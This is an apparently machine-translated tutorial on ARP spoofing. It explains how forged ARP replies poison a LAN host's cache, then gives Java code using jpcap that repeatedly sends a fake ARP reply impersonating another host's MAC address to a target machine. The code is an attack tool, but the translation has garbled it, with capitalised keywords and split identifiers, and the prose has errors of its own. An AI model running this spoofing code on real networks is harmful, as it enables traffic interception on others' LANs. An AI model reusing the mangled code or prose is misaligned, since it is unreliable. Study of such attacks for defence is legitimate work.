ARP attack Principle
When a computer accesses another computer over the network, you need to know the MAC address of the other computer on the data link layer for real physical communication.
Applications on the computer usually communicate with each other based on the IP address of the other computer. At this time, a protocol is required
The IP address is resolved to the MAC address, which is the ARP protocol.
The specific ARP process is to obtain a remote MAC address through the IP address, the system first checks the ARP table
Whether the corresponding IP address exists. If not, an ARP broadcast is sent.
When an ARP request is received, an ARP reply packet is created and sent to the source node of the ARP request,
The ARP reply package contains the MAC address of the destination node. After the source node receives the reply,
The MAC address of the destination node is saved in the ARP cache table. When you request the same IP address again next time,
The system will directly obtain the destination MAC address from the ARP table without sending the ARP broadcast again.
For example, run the following ping command in machine A, for example, IP address 192.168.1.2:
Ping 192.168.1.3. If the MAC address 192.168.1.3 does not exist in the ARP cache table of machine
Machine A sends an ARP broadcast. When 192.168.1.3 receives the broadcast, it returns an ARP broadcast to machine.
ARP reply package contains the MAC address of 192.168.1.3, which is a normal ARP process.
Assume that the correspondence between the IP--MAC is (192.168.1.3 -- 00-1c-23-2e-a7-0e)
But other machines in the LAN can also send a false IP--MAC to machine a corresponding ARP reply package,
After machine A receives the fake package, it also updates its ARP cache table. Assume that
(192.168.1.3 -- 00-1c-23-2e-a7-0a, 0a is actually the MAC address of 192.168.1.4)
Then, when machine a sends data to 192.168.1.3 via IP address, it actually sends data to machine 192.168.1.4.
In this way, ARP attacks or ARP spoofing attacks can only occur in the LAN.
The purpose of this article is to illustrate the principles of ARP attacks. We hope that our audience will not use it to prank other machines on your LAN, or your network administrator will soon interview you...
The following uses Java code to simulate ARP spoofing.
192.168.1.4 send a fake mac address of 192.168.1.3 to 192.168.1.2.
You can download jpcap. jar from http://netresearch.ics.uci.edu/kfujii/jpcap/doc/download.html.
Package COM. test. ARP; import java.net. inetaddress; import jpcap. jpcapcaptor; import jpcap. jpcapsender; import jpcap. networkinterface; import jpcap. packet. arppacket; import jpcap. packet. ethernetpacket; public class sendfakearp {static byte [] stomac (string s) {byte [] Mac = new byte [] {(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00}; string [] S1 = S. split ("-"); For (INT x = 0; x <s1.length; X ++) {Mac [x] = (byte) (integer. parseint (S1 [X], 16) & 0xff);} return MAC;} public static void main (string [] ARGs) throws exception {int time = 2; // resend interval inetaddress desip = inetaddress. getbyname ("192.168.1.2"); // the spoofed target IP address byte [] desmac = stomac ("00-1c-23-3c-41-7f"); // The target Mac array inetaddress srcip = inetaddress. getbyname ("192.168.1.3"); // source IP address byte [] srcmac = stomac ("00-1c-23-2e-a7-0a "); // fake mac array // enumerate the NIC and enable the device networkinterface [] devices = jpcapcaptor. getdevicelist (); networkinterface device = devices [1]; jpcapsender sender = jpcapsender. opendevice (device); // set ARP packet arppacket ARP = new arppacket (); arp. hardtype = arppacket. hardtype_ether; arp. prototype = arppacket. prototype_ip; arp. operation = arppacket. arp_reply; arp. hlen = 6; arp. plen = 4; arp. sender_hardaddr = srcmac; arp. sender_protoaddr = srcip.getaddress();arp.tar get_hardaddr = desmac;arp.tar get_protoaddr = desip. getaddress (); // set the DLC frame ethernetpacket ether = new ethernetpacket (); ether. frametype = ethernetpacket. ethertype_arp; ether. src_mac = srcmac; ether. dst_mac = desmac; arp. datalink = ether; // send the ARP response packet while (true) {system. out. println ("sending ARP .. "); sender. sendpacket (ARP); thread. sleep (time * 1000 );}}}